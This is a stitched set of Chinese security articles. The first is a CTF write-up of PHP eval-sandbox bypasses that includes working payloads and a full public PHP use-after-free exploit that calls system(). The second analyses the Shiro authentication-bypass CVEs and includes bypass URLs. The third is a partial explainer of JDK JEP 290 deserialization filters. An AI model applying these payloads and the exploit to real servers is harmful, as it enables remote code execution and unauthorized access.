这些函数的具体用法可以参考chybeta师傅的文章：
>
> [php代码/命令执行漏洞](//chybeta.github.io/2017/08/08/php%E4%BB%A3%E7%A0%81-%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E/)
> )
这些函数中，有两个没有被ban，`ob_start`和`proc_open`。
**proc_open** 函数的具体用法可以参考： <https://www.w3cschool.cn/doc_php/php-function-proc-open.html>
语法：`resource proc_open ( string $cmd , array $descriptorspec , array &$pipes
[, string $cwd [, array $env [, array $other_options ]]] )`
`proc_open`会执行一个命令，并且会打开用来输入/输出的文件指针，输出在`$pipes[1]`中。
可以看一个最简单的例子，在读取`$pipes[1]`的时候还可以用`fgets`：
<?php
$proc = proc_open("echo foo",
array(
array("pipe","r"),
array("pipe","w"),
array("pipe","w")
),
$pipes);
print stream_get_contents( $pipes[1] );
// 输出为 foo
?>
这里要注意的是第2行的`$proc`必须存在，下面的这个例子运行就会报错：
<?php
proc_open("echo foo",
array(
array("pipe","r"),
array("pipe","w"),
array("pipe","w")
),
$pipes);
print fgets( $pipes[1] );
// Warning: stream_get_contents(): 3 is not a valid stream resource in t.php on line 9
?>
在官方文档给的例子下，有人给出的解释是：
> It seems you actually have to store the return value in order for your
> streams to exist. You can’t throw it away.
也就是说为了让流存在，必须要存储返回值，不能把这个返回值丢掉。
所以直接将这个返回值赋给一个变量就可以了，这里的payload是赋给了`$ret`变量，然后用`fgets`输出内容：
?input=$desc=array(array('p'.'ipe','r'),array('p'.'ipe','w'),array('p'.'ipe','w'));$pxpes=array();eval('$ret=proc'.$thisfille[8].'open("/readFlag",$desc,$pxpes);');eval('print(fge'.'ts($pxpes[1]));');&thisfile=/lib/x86_64-linux-gnu
成功获得flag：
但是读取`/flag`却是没有回显的，猜测还是和权限有关，可以这样验证一下：
?input=$desc=array(array('p'.'ipe','r'),array('p'.'ipe','w'),array('p'.'ipe','w'));$pxpes=array();eval('$ret=proc'.$thisfille[8].'open("ls%20-al%20/readFlag",$desc,$pxpes);');eval('print(fge'.'ts($pxpes[1]));');&thisfile=/lib/x86_64-linux-gnu
得到的结果是：
-r-s--x--x 1 root root 8608 May 6 07:52 /readFlag
而`ls -al /flag`可以发现，只有root用户才可以执行该文件，所以才会什么都没有返回：
-r-------- 1 root root 8608 May 6 08:43 /flag
## PHP+1.5
然后看一下PHP+1的升级版，PHP+1.5
<?php
// php+1.5
$input = $_GET['input'];
function check()
{
global $input;
foreach (get_defined_functions()['internal'] as $blacklisted) {
if (preg_match('/' . $blacklisted . '/im', $input)) {
echo "Your input is blacklisted" . "<br>";
return true;
break;
}
}
$blacklist = "exit|die|eval|\[|\]|\\\|\*|`|-|\+|~|\{|\}|\"|\'";
if (preg_match("/$blacklist/i", $input)) {
echo "Do you really you need that?" . "<br>";
return true;
}
unset($blacklist);
return false;
}
$thisfille = $_GET['thisfile'];
if (is_file($thisfille)) {
echo "You can't use inner file" . "<br>";
} else {
if (file_exists($thisfille)) {
if (check()) {
echo "Naaah" . "<br>";
} else {
eval($input);
}
} else {
echo "File doesn't exist" . "<br>";
}
}
function iterate($ass)
{
foreach ($ass as $hole) {
echo "AssHole";
}
}
highlight_file(__FILE__);
?>
和前面一道的差别就是多了对`$input`的`$blacklist`检查，也就是说禁掉了`eval`函数：
所以上面这道题使用eval的解法已经不再适用了，但是php支持另一种看起来比较奇怪的字符串拼接方式：
<?php
$a = p.h.p.i.n.f.o;
print $a();
?>
可以看到，虽然有报错，但是还是执行了`phpinfo()`命令。
我们尝试一下读取phpinfo：
?input=$a=p.h.p.i.n.f.o;$a();&thisfile=/var
payload1：
?input=
$x=ch.r;
$y=$x(95);
$z=$x(47);
$a=p.r.o.c.$y.o.p.e.n;
$b=$z.readFlag;
$c=p.i.p.es;
$d=p.i.p.e;
$e=r;
$f=w;
$i=ne.xt;
$h=str.eam.$y.ge.t.$y.con.tents;
$k=$a($b,array(array($d,$e),array($d,$f),array($d,$f)),$$c);
print($h($i($$c)));
&thisfile=/var
稍微解释一下这个payload。$x是`chr`函数，$y是字符`_`，$z是字符`/`，用来拼接`/readFlag`用。
$k=$a($b,array(array($d,$e),array($d,$f),array($d,$f)),$$c);
// equivalent to
$k=proc_open('/readFlag',array(array('pipe','r'),array('pipe','w'),array('pipe','w')),$pipes);
这里需要特别注意的是传入的是`$$c`，因为需要将`$pipes`变成一个变量，`$c`表示的仅仅是`pipes`，而不是`$pipes`。同样的，后面是
print($h($i($$c)));
// equivalent to
print($stream_get_contents(next($pipes)));
另一个payload2，只是在提取`$pipes[1]`的时候有点区别：
?input=
$x=ch.r;
$y=$x(95);
$z=$x(47);
$a=p.r.o.c.$y.o.p.e.n;
$b=$z.readFlag;
$c=p.i.p.es;
$d=p.i.p.e;
$e=r;
$f=w;
$i=(arra).(y).$y.sh.ift;
$j=(arr).(ay).$y.sl.ice;
$h=str.eam.$y.ge.t.$y.con.tents;
$k=$a($b,array(array($d,$e),array($d,$f),array($d,$f)),$$c);
print($h($i($j($$c,1,2))));
&thisfile=/var
## PHP+2.5
//php2.5
<?php
$input = $_GET['input'];
function check(){
global $input;
foreach (get_defined_functions()['internal'] as $blacklisted) {
if (preg_match ('/' . $blacklisted . '/im', $input)) {
echo "Your input is blacklisted" . "<br>";
return true;
break;
}
}
$blacklist = "exit|die|eval|\[|\]|\\\|\*|`|-|\+|~|\{|\}|\"|\'";
if(preg_match("/$blacklist/i", $input)){
echo "Do you really you need that?" . "<br>";
return true;
}
unset($blacklist);
if(strlen($input)>100){ #That is random no. I took ;)
echo "This is getting really large input..." . "<br>";
return true;
}
return false;
}
$thisfille=$_GET['thisfile'];
if(is_file($thisfille)){
echo "You can't use inner file" . "<br>";
}
else{
if(file_exists($thisfille)){
if(check()){
echo "Naaah" . "<br>";
}else{
eval($input);
}
}else{
echo "File doesn't exist" . "<br>";
}
}
function iterate($ass){
foreach($ass as $hole){
echo "AssHole";
}
}
highlight_file(__FILE__);
?>
在这道题的环境中，`proc_open`函数是没有被禁用的，它的预期解法呢是找到一个segmentation
fault，然后使用文件上传和条件竞争来获取shell。
可以采用现成的[exp](https://github.com/mm0r1/exploits/blob/master/php-json-bypass/exploit.php)：
<?php
$cmd = "id";
$n_alloc = 10; # increase this value if you get segfaults
class MySplFixedArray extends SplFixedArray {
public static $leak;
}
class Z implements JsonSerializable {
public function write(&$str, $p, $v, $n = 8) {
$i = 0;
for($i = 0; $i < $n; $i++) {
$str[$p + $i] = chr($v & 0xff);
$v >>= 8;
}
}
public function str2ptr(&$str, $p = 0, $s = 8) {
$address = 0;
for($j = $s-1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p+$j]);
}
return $address;
}
public function ptr2str($ptr, $m = 8) {
$out = "";
for ($i=0; $i < $m; $i++) {
$out .= chr($ptr & 0xff);
$ptr >>= 8;
}
return $out;
}
# unable to leak ro segments
public function leak1($addr) {
global $spl1;
$this->write($this->abc, 8, $addr - 0x10);
return strlen(get_class($spl1));
}
# the real deal
public function leak2($addr, $p = 0, $s = 8) {
global $spl1, $fake_tbl_off;
# fake reference zval
$this->write($this->abc, $fake_tbl_off + 0x10, 0xdeadbeef); # gc_refcounted
$this->write($this->abc, $fake_tbl_off + 0x18, $addr + $p - 0x10); # zval
$this->write($this->abc, $fake_tbl_off + 0x20, 6); # type (string)
$leak = strlen($spl1::$leak);
if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
return $leak;
}
public function parse_elf($base) {
$e_type = $this->leak2($base, 0x10, 2);
$e_phoff = $this->leak2($base, 0x20);
$e_phentsize = $this->leak2($base, 0x36, 2);
$e_phnum = $this->leak2($base, 0x38, 2);
for($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = $this->leak2($header, 0, 4);
$p_flags = $this->leak2($header, 4, 4);
$p_vaddr = $this->leak2($header, 0x10);
$p_memsz = $this->leak2($header, 0x28);
if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
# handle pie
$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
} else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
$text_size = $p_memsz;
}
}
if(!$data_addr || !$text_size || !$data_size)
return false;
return [$data_addr, $text_size, $data_size];
}
public function get_basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = 0; $i < $data_size / 8; $i++) {
$leak = $this->leak2($data_addr, $i * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = $this->leak2($leak);
# 'constant' constant check
if($deref != 0x746e6174736e6f63)
continue;
} else continue;
$leak = $this->leak2($data_addr, ($i + 4) * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = $this->leak2($leak);
# 'bin2hex' constant check
if($deref != 0x786568326e6962)
continue;
} else continue;
return $data_addr + $i * 8;
}
}
public function get_binary_base($binary_leak) {
$base = 0;
$start = $binary_leak & 0xfffffffffffff000;
for($i = 0; $i < 0x1000; $i++) {
$addr = $start - 0x1000 * $i;
$leak = $this->leak2($addr, 0, 7);
if($leak == 0x10102464c457f) { # ELF header
return $addr;
}
}
}
public function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = $this->leak2($addr);
$f_name = $this->leak2($f_entry, 0, 6);
if($f_name == 0x6d6574737973) { # system
return $this->leak2($addr + 8);
}
$addr += 0x20;
} while($f_entry != 0);
return false;
}
public function jsonSerialize() {
global $y, $cmd, $spl1, $fake_tbl_off, $n_alloc;
$contiguous = [];
for($i = 0; $i < $n_alloc; $i++)
$contiguous[] = new DateInterval('PT1S');
$room = [];
for($i = 0; $i < $n_alloc; $i++)
$room[] = new Z();
$_protector = $this->ptr2str(0, 78);
$this->abc = $this->ptr2str(0, 79);
$p = new DateInterval('PT1S');
unset($y[0]);
unset($p);
$protector = ".$_protector";
$x = new DateInterval('PT1S');
$x->d = 0x2000;
$x->h = 0xdeadbeef;
# $this->abc is now of size 0x2000
if($this->str2ptr($this->abc) != 0xdeadbeef) {
die('UAF failed.');
}
$spl1 = new MySplFixedArray();
$spl2 = new MySplFixedArray();
# some leaks
$class_entry = $this->str2ptr($this->abc, 0x120);
$handlers = $this->str2ptr($this->abc, 0x128);
$php_heap = $this->str2ptr($this->abc, 0x1a8);
$abc_addr = $php_heap - 0x218;
# create a fake class_entry
$fake_obj = $abc_addr;
$this->write($this->abc, 0, 2); # type
$this->write($this->abc, 0x120, $abc_addr); # fake class_entry
# copy some of class_entry definition
for($i = 0; $i < 16; $i++) {
$this->write($this->abc, 0x10 + $i * 8,
$this->leak1($class_entry + 0x10 + $i * 8));
}
# fake static members table
$fake_tbl_off = 0x70 * 4 - 16;
$this->write($this->abc, 0x30, $abc_addr + $fake_tbl_off);
$this->write($this->abc, 0x38, $abc_addr + $fake_tbl_off);
# fake zval_reference
$this->write($this->abc, $fake_tbl_off, $abc_addr + $fake_tbl_off + 0x10); # zval
$this->write($this->abc, $fake_tbl_off + 8, 10); # zval type (reference)
# look for binary base
$binary_leak = $this->leak2($handlers + 0x10);
if(!($base = $this->get_binary_base($binary_leak))) {
die("Couldn't determine binary base address");
}
# parse elf header
if(!($elf = $this->parse_elf($base))) {
die("Couldn't parse ELF");
}
# get basic_functions address
if(!($basic_funcs = $this->get_basic_funcs($base, $elf))) {
die("Couldn't get basic_functions address");
}
# find system entry
if(!($zif_system = $this->get_system($basic_funcs))) {
die("Couldn't get zif_system address");
}
# copy hashtable offsetGet bucket
$fake_bkt_off = 0x70 * 5 - 16;
$function_data = $this->str2ptr($this->abc, 0x50);
for($i = 0; $i < 4; $i++) {
$this->write($this->abc, $fake_bkt_off + $i * 8,
$this->leak2($function_data + 0x40 * 4, $i * 8));
}
# create a fake bucket
$fake_bkt_addr = $abc_addr + $fake_bkt_off;
$this->write($this->abc, 0x50, $fake_bkt_addr);
for($i = 0; $i < 3; $i++) {
$this->write($this->abc, 0x58 + $i * 4, 1, 4);
}
# copy bucket zval
$function_zval = $this->str2ptr($this->abc, $fake_bkt_off);
for($i = 0; $i < 12; $i++) {
$this->write($this->abc, $fake_bkt_off + 0x70 + $i * 8,
$this->leak2($function_zval, $i * 8));
}
# pwn
$this->write($this->abc, $fake_bkt_off + 0x70 + 0x30, $zif_system);
$this->write($this->abc, $fake_bkt_off, $fake_bkt_addr + 0x70);
$spl1->offsetGet($cmd);
exit();
}
}
$y = [new Z()];
json_encode([&$y]);
### PHP2.0
这道题的源码同PHP2.5，但是php环境为7.1，而且`proc_open`函数被禁用了。
这道题的解法可以参考OpenToAll的exp：<https://ctftime.org/writeup/16665>
。这个解法其实是利用了php的一个use after free
1day，具体可以看这里：<https://bugs.php.net/bug.php?id=77843> 。
并且这个解法只对Ubuntu16.04+PHP7.1的环境生效。
## 小结：
总结上面的内容，我们可以学习到：
1 . `proc_open`代码执行
2 . php字符串拼接
3 . eval特性
4 . _()函数 | 社区文章 |
# Shiro权限绕过漏洞详细分析
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00 前言
上次讲了关于Jackson的相关漏洞，这次首先来分析一下shiro的权限绕过漏洞的原理。本文首先通过shiro<1.5.0版本引出shiro身份校验问题，再使用CVE-2020-1957也就是shiro-682存在的漏洞来详细分析shiro的权限绕过漏洞，并进一步来看看shiro这两个新的CVE-2020-11989和CVE-2020-13933。
## 0x01 关于shiro
shiro是做身份认证和权限管理的一款apache框架，可以和spring一起使用。这次的权限绕过漏洞就出在和spring boot搭配这里。
shiro框架通过拦截器来实现对用户访问权限的控制和拦截。Shiro常见的拦截器有anon,authc等。
1. anon：匿名拦截器，不需登录就能访问，一般用于静态资源，或者移动端接口。
2. authc：登录拦截器，需要登录认证才能访问的资源。
我们通过在配置文件中配置需要登录才可访问的url，实现对url的访问控制。其中，url的路径表达式为Ant格式。
## 0x02 shiro<1.5.0
在shiro1.5.0版本的修复中，可以看到会判断requestURI是否以“/”为结尾，如果以“/”结尾的话，则去掉尾部的“/”后，再与url表达式比较。
这样可以判断shiro<1.5.0中，可以通过构造127.0.0.1:8080/admin/password/绕过shiro认证。
（本段只作为引出内容，请继续向下看）
## 0x03 CVE-2020-1957详细分析（<1.5.2）
### 一、环境搭建
工具：IDEA
步骤：
1.首先创建spring boot项目，pox.xml添加依赖。
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
</dependency>
<dependency>
<groupId>org.apache.shiro</groupId>
<artifactId>shiro-web</artifactId>
<version>1.5.0</version>
</dependency>
<dependency>
<groupId>org.apache.shiro</groupId>
<artifactId>shiro-spring</artifactId>
<version>1.5.0</version>
</dependency>
2.创建核心组件realm，用作简单的认证功能。
//MyRealm.java
package com.shiro;
import org.apache.shiro.authc.*;
import org.apache.shiro.authz.AuthorizationInfo;
import org.apache.shiro.realm.AuthorizingRealm;
import org.apache.shiro.subject.PrincipalCollection;
public class MyRealm extends AuthorizingRealm {
@Override
protected AuthorizationInfo doGetAuthorizationInfo(PrincipalCollection principals) {
return null;
}
@Override
protected AuthenticationInfo doGetAuthenticationInfo(AuthenticationToken token) throws AuthenticationException {
String username = (String) token.getPrincipal();
if (!"lcecre4m".equals(username)) {
throw new UnknownAccountException("账户不存在!");
}
return new SimpleAuthenticationInfo(username, "123456", getName());
}
}
3.创建ShiroConfig.java配置shiro，这里使用authc拦截器对访问“/admin/**”进行认证。
//ShiroConfig.java
package com.shiro;
import org.apache.shiro.mgt.SecurityManager;
import org.apache.shiro.spring.web.ShiroFilterFactoryBean;
import org.apache.shiro.web.mgt.DefaultWebSecurityManager;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;
import java.util.LinkedHashMap;
import java.util.Map;
@Configuration
public class ShiroConfig {
@Bean
MyRealm myRealm() {
return new MyRealm();
}
@Bean
SecurityManager securityManager() {
DefaultWebSecurityManager manager = new DefaultWebSecurityManager();
manager.setRealm(myRealm());
return manager;
}
@Bean
ShiroFilterFactoryBean shiroFilterFactoryBean() {
ShiroFilterFactoryBean bean = new ShiroFilterFactoryBean();
bean.setSecurityManager(securityManager());
bean.setLoginUrl("/login");
bean.setSuccessUrl("/index");
bean.setUnauthorizedUrl("/unauthorizedurl");
Map<String, String> map = new LinkedHashMap<>();
map.put("/hello/**", "anon");
map.put("/admin/**", "authc");
bean.setFilterChainDefinitionMap(map);
return bean;
}
}
4.LoginController.java用来创建相关使用接口。
//LoginController.java
package com.shiro;
import org.apache.shiro.SecurityUtils;
import org.apache.shiro.authc.AuthenticationException;
import org.apache.shiro.authc.UsernamePasswordToken;
import org.apache.shiro.subject.Subject;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
@RestController
public class LoginController {
@PostMapping("/doLogin")
public void doLogin(String username, String password) {
Subject subject = SecurityUtils.getSubject();
try {
subject.login(new UsernamePasswordToken(username, password));
System.out.println("登录成功!");
} catch (AuthenticationException e) {
e.printStackTrace();
System.out.println("登录失败!");
}
}
@GetMapping("/hello")
public String hello() {
return "hello";
}
@GetMapping("/admin/password")
public String index() {
return "password";
}
}
5.启动测试。访问127.0.0.1:8080/hello正常；访问127.0.0.1:8080/admin/password会跳转到127.0.0.1:8080/login要求进行登录。简单实现了spring+shiro的身份认证功能。
6.漏洞测试。访问127.0.0.1:8080/xxx/..;/admin/password成功绕过身份校验。
### 二、动态分析
首先在PathMatchingFilterChainResolver.class#getChain处下断点，进行调试，访问127.0.0.1:8080/xxx/..;/admin/password
我们单步步入getPathWithinApplication(request)，在WebUtils#getPathWithinApplication()中，参数为ServletRequest对象，获取到上下文信息后，再用getRequestUri()获取具体的url
我们步入getRequestUri()，可以看到已经获取到了我们访问的原始url
我们可以看到在返回之前做了相关处理，我们单步步入这个decodeAndCleanUriString(request,
uri)，可以看到在这个函数里以“;”截断后面的内容，并返回作为normalize(decodeAndCleanUriString(request,
uri))的参数
继续步入normalize()，可以看到url已经变为“/xxx/..”了
在normalize(String path, boolean
replaceBackSlash)内部对传入的路径进行标准化规范处理，相关操作包括替换反斜线、替换“//”为“/”等，最后得到返回的url
一路返回到PathMatchingFilterChainResolver.class#getChain，我们得到接下来shiro需要处理的url：/xxx/..
接下来在while段里使用pathMatches(pathPattern, requestURI)进行权限校验
我们单步步入pathMatches函数直到AntPathMatcher.java#doMatch，在里面与我们设置的shiro规则进行匹配，很显然，“/admin/**”不会与“/xxx/..”匹配成功
我们的url经过shiro的处理认证通过后，就会进入spring
boot中进行解析，我们在UrlPathHelper#getLookupPathForRequest下断点，并提前配置好使用getPathWithinServletMapping(request,
pathWithinApp)进行解析
步入getPathWithinServletMapping()后，依次通过UrlPathHelper#getServletPath、HttpServletRequestWrapper#getServletPath、Request#getServletPath获取到我们实际访问的url：127.0.0.1:8080/admin/password后返回，最终实现绕过权限访问
### 三、修复
在漏洞版本<=1.5.1，request.getRequestURI()直接返回请求的url，在1.5.2中修复为使用contextPath()+
servletPath()+ pathinfo()组合而成。
## 0x04 CVE-2020-11989 && CVE-2020-13933
CVE-2020-11989的shiro版本为<1.5.3和CVE-2020-13933的shiro版本为<1.6.0。他们原理类似，都是利用“;”或url编码进行绕过，比如127.0.0.1:8080/admin/%3bpassword等payload，这里就不详细跟踪分析了，过程跟shiro-682类似，原理都是利用shiro与spring
boot使用不同的url来绕过校验。
最后1.6.0版本中修复是添加一个InvalidRequestFilter类，从全局上对“；”和“\”和非ASCII字符进行过滤
## 0x05 shiro权限绕过小结
在shiro权限绕过漏洞中，利用的问题是shiro拦截器先于spring
boot执行，并且二者的匹配模式不同，最终导致：我们访问的url1和shiro处理的url2以及spring路由的url3不同，导致shiro拦截器起不到应有的作用，总被绕过。
## 0x06 结语
本文通过对shiro-682的详细分析，分析了shiro权限绕过的过程，同时也学习了后续的一些绕过姿势，shiro权限绕过就应该非常清晰了。 | 社区文章 |
作者：白帽汇安全研究院@kejaly
校对：白帽汇安全研究院@r4v3zn
# 前言
在研究高版本 JDK 反序列化漏洞的时候，往往会涉及到 JEP 290 规范。但是网上公开针对 JEP 290
规范原理研究的资料并不是很多，这就导致在研究高版本 java 反序列化的时候有些无能为力，所以最近对 JEP 290
规范好好的研究的一番，输出这篇文章，希望和大家一起交流学习。
# 简介
官方描述：`Filter Incoming Serialization Data`，即过滤传入的序列化数据。
主要内容有：
* Provide a flexible mechanism to narrow the classes that can be deserialized from any class available to an application down to a context-appropriate set of classes.【提供了一个灵活的机制，将可以反序列化的类从应用程序类缩小到适合上下文的类集（也就是说提供一个限制反序列化的类的机制，黑白名单方式）。】
* Provide metrics to the filter for graph size and complexity during deserialization to validate normal graph behaviors.（限制反序列化深度和复杂度）
* Provide a mechanism for RMI-exported objects to validate the classes expected in invocations.【为 RMI 导出的对象设置了验证机制。（ 比如对于 RegistryImpl , DGCImpl 类内置了默认的白名单过滤）】
* The filter mechanism must not require subclassing or modification to existing subclasses of ObjectInputStream.
* Define a global filter that can be configured by properties or a configuration file.（提供一个全局过滤器，可以从属性或者配置文件中配置）
JEP 290 在 JDK 9 中加入，但在 JDK 6,7,8 一些高版本中也添加了：
Java™ SE Development Kit 8, Update 121 (JDK 8u121)
Java™ SE Development Kit 7, Update 131 (JDK 7u131)
Java™ SE Development Kit 6, Update 141 (JDK 6u141)
官方文档：<https://openjdk.java.net/jeps/290>
# JEP 290 核心类
JEP 290 涉及的核心类有： `ObjectInputStream` 类，`ObjectInputFilter` 接口，`Config` 静态类以及
`Global` 静态类。其中 `Config` 类是 `ObjectInputFilter`接口的内部类，`Global`
类又是`Config`类的内部类。
## ObjectInputStream 类
JEP 290 进行过滤的具体实现方法是在 `ObjectInputStream` 类中增加了一个`serialFilter`属性和一个
`filterChcek` 函数，两者搭配来实现过滤的。
### 构造函数
有两个构造函数，我们需要关注的是在这两个构造函数中都会赋值 `serialFilter` 字段为
`ObjectInputFilter.Config.getSerialFilter()`:
`ObjectInputFilter.Config.getSerialFilter()` 返回 `ObjectInputFilter#Config`
静态类中的 `serialFilter`静态字段
### serialFilter 属性
`serialFilter` 属性是一个 `ObjectInputFilter` 接口类型，这个接口声明了一个 `checkInput` 方法（关于
`ObjectInputFilter` 后面会更细致的讲解）。
### filterCheck 函数
`filterCheck` 函数逻辑可以分三步。
第一步，先会判断 `serialFilter` 属性值是否为空，只有不为空，才会进行后续的过滤操作。
第二步，将我们需要检查的 `class` ，以及 `arryLength`等信息封装成一个`FilterValues`对象，
传入到 `serialFilter.checkInput` 方法中，返回值为 `ObjectInputFilter.Status` 类型。
最后一步，判断 `status` 的值，如果 `status` 是 `null` 或者是 `REJECTED` 就会抛出异常。
### ObjectInputStream 总结
到这里可以知道，`serialFilter` 属性就可以认为是 JEP 290 中的"过滤器"。过滤的具体逻辑写到 `serialFilter`
的`checkInput` 方法中，配置过滤器其实就是设置 `ObjectInputStream` 对象的 `serialFilter`属性。并且在
`ObjectInputStream` 构造函数中会赋值 `serialFilter` 为 `ObjectInputFilter#Config` 静态类的
`serialFilter` 静态字段。
## ObjectInputFilter 接口
是 `JEP 290` 中实现过滤的一个最基础的接口，想理解 JEP 290 ，必须要了解这个接口。
在低于 `JDK 9` 的时候的全限定名是 `sun.misc.ObjectInputFIlter`，`JDK 9` 及以上是
`java.io.ObjectInputFilter` 。
另外低于 `JDK 9` 的时候，是 `getInternalObjectInputFilter` 和
`setInternalObjectInputFilter`，`JDK 9` 以及以上是 `getObjectInputFilter` 和
`setObjectInputFIlter` 。
先来看一下 `ObjectInputFilter`接口的结构：
有一个 `checkInput` 函数，一个静态类 `Config` ，一个 `FilterInfo` 接口，一个 `Status` 枚举类。
### 函数式接口
`@FunctionalInterface` 注解表明， `ObjectInputFilter`
是一个函数式接口。对于不了解函数式接口的同学，可以参考：<https://www.runoob.com/java/java8-functional-interfaces.html> 以及 <https://www.jianshu.com/p/40f833bf2c48> ，
<https://juejin.cn/post/6844903892166148110> 。
在这里我们其实只需要关心函数式接口怎么赋值，函数式接口的赋值可以是： lambda 表达式或者是方法引用，当然也可以赋值一个实现了这个接口的对象。
lambda 赋值：
使用函数引用赋值，比如 RMI 中 `RegistryImpl` 使用的就是函数引用赋值：
## Config 静态类
`Config` 静态类是 `ObjcectInputFilter` 接口的一个内部静态类。
### Config#configuredFilter 静态字段
`configuredFilter` 是一个静态字段，所以调用 `Config` 类的时候就会触发 `configuredFilter` 字段的赋值。
可以看到会拿到 `jdk.serailFilter` 属性值，如果不为空，会返回
`createFilter(var0)`的结果（`createFilter` 实际返回的是一个 `Global` 对象）。
`jdk.serailFilter` 属性值获取的方法用两种，第一种是获取 JVM 的 `jdk.serialFilter` 属性，第二种通过在
`%JAVA_HOME%\conf\security\java.security` 文件中指定 `jdk.serialFilter`
来设置。另外从代码中可以看到，优先选择第一种。
### Config#createFilter 方法
`Config#createFilter` 则会进一步调用 `Global.createFilter`方法，这个方法在介绍 `Global`
类的时候会说，其实就是将传入的 JEP 290 规则字符串解析到`Global`对象的 `filters` 字段上，并且返回这个 `Global` 对象。
### Config 类的静态块
Config 类的静态块，会赋值 `Config.configuredFilter` 到 `Config.serialFilter` 上。
### Config#getSerialFilter 方法
返回 `Config#serialFilter`字段值。
### Config 静态类总结
`Config` 静态类在初始化的时候，会将`Config.serialFilter` 赋值为一个`Global`对象，这个`Global`
对象的`filters`字段值是`jdk.serailFilter`属性对应的 `Function` 列表。（关于 `Global`
对象介绍下面会说到，大家先有这么一个概念）
而 `ObjectInputStream` 的构造函数中，正好取的就是 `Config.serialFilter` 这个静态字段 ， **所以设置了
Config.serialFilter 这个静态字段，就相当于设置了 ObjectInputStream 类全局过滤器** 。
比如可以通过配置 JVM 的 `jdk.serialFilter` 或者 `%JAVA_HOME%\conf\security\java.security`
文件的 `jdk.serialFilter` 字段值，来设置 `Config.serialFilter` ，也就是设置了全局过滤。
另外还有就是一些框架，在开始的时候设置也会设置 `Config.serialFilter` ，来设置 `ObjectInputStream` 类的全局过滤。
weblogic 就是，在启动的时候会设置 `Config.serialFilter` 为
`WebLogicObjectInputFilterWrapper` 对象。
## Global 静态类
`Global` 静态类是 Config 类中的一个内部静态类。
`Global` 类的一个重要特征是实现了 ``ObjectInputFilter` 接口，实现了其中的 `checkInput` 方法。所以
`Global` 类可以直接赋值到 `ObjectInputStream.serialFilter` 上。
### Global#filters 字段
是一个函数列表。
### Global#checkInput 方法
`Global` 类的 `checkInput` 会遍历 `filters` 去检测要反序列化的类。
### Global 中的构造函数
`Global` 中的构造函数会解析 JEP 290 规则。`Global` 中的构造函数的作用用一句话总结就是：解析 JEP 290 规则为对应的
`lambda` 表达式，然后添加到 `Global.filters` 。
JEP 290 的规则如下：
`Global` 类的构造函数：
具体就是通过 `filters` `add` 添加 `lambdd` 表达式到 filters 中，也就是说对 `Global` 的 `filters`
赋值的是一个个 `lambada` 函数。
### Global#createFilter 方法
传入规则字符串，来实例化一个 `Global` 对象。
### Global 类的总结
`Global` 实现了`ObjectInputFilter`接口，所以是可以直接赋值到 `ObjectInputStream.serialFilter`
上。
`Global#filters` 字段是一个函数列表。
`Global` 类中的 `chekInput` 方法会遍历 `Global#filters` 的函数，传入需要检查的
`FilterValues`进行检查（`FilterValues` 中包含了要检查的 `class`, `arrayLength`，以及 `depth`
等）。
# 过滤器
在上面总结 `ObjectInputStream` 类的中说过，配置过滤器其实就是设置 `ObjectInputStream` 类中的
`serialFilter` 属性。
过滤器的类型有两种，第一种是通过配置文件或者 `JVM` 属性来配置的全局过滤器，第二种则是来通过改变 `ObjectInputStream` 的
`serialFilter` 属性来配置的局部过滤器。
## 全局过滤器
设置全局过滤器，其实就是设置`Config`静态类的 `serialFilter` 静态字段值。
具体原因是因为在 `ObjectInputStream` 的两个构造函数中，都会为 `serialFilter` 属性赋值为
`ObjectInputFilter.Config.getSerialFilter()`。
而 `ObjectInputFilter.Config.getSerialFilter` 就是直接返回 `Config#serialFilter`：
### jdk.serailFilter
在介绍 `Config` 静态类的时候说到，`Config` 静态类初始化的时候，会解析 `jdk.serailFilter` 属性设置的 JEP 290
规则到一个 `Global` 对象的 `filters` 属性，并且会将这个 `Global` 对象赋值到 `Config` 静态类的
`serialFilter` 属性上。
所以，这里 `Config.serialFilter` 值默认是解析 `jdk.serailFilter` 属性得到得到的 `Global` 对象。
### weblogic 全局过滤器
在 weblogic 启动的时候，会赋值 `Config.serialFilter` 为
`WebLogicObjectInputFilterWrapper` 。
具体流程如下：
首先在 weblogic 启动的时候，先调用`WeblogicObjectInputFilter.initializeInternal` 方法，在
`initializeInternal` 方法中会先 `new`一个 `JreFilterApiProxy` 对象，这个对象是一个进行有关 JEP 290
操作的代理对象（具体原理是通过反射来调用的）。
随后 `new` 一个 `WeblogicFilterConfig` 对象。
在创建 `WeblogicFilterConfig` 对象的时候中会对 weblogic 黑名单进行整合，最后得到
`WeblogicFilterConfig`中 `serailFilter`，`golbalSerailFilter`，以及
`unauthenticatedSerialFilter`属性如下：
接着调用
`filterConfig.getWebLogicSerialFilter`取出上面赋值的`WeblogicFilterConfig#serailFilter`,并调用
`filterApliProxy.createFilterForString` 方法把`filter` 字符串转化为 `Object` 类型，并且封装到
`WebLogicObjectInputFilterWrapper` 对象中。
最后会取出刚刚设置的 `filter`，传入 `filterApiProxy.setGlobalFilter`方法中对 `Config` 的
`serialFilter` 属性赋值：
调用完之后我们利用 `filterApiProxy.methodConfigGetSerialFilter.invoke(null)` 来查看
`Config` 的 `serailFilter` 字段值， 可以看到 Config.serialFilter 成功被设置为一个
`WeblogicObjectInputFilterWrapper` 对象。
查看 `pattern` 正是打了 7 月份补丁的全局反序列化黑名单：
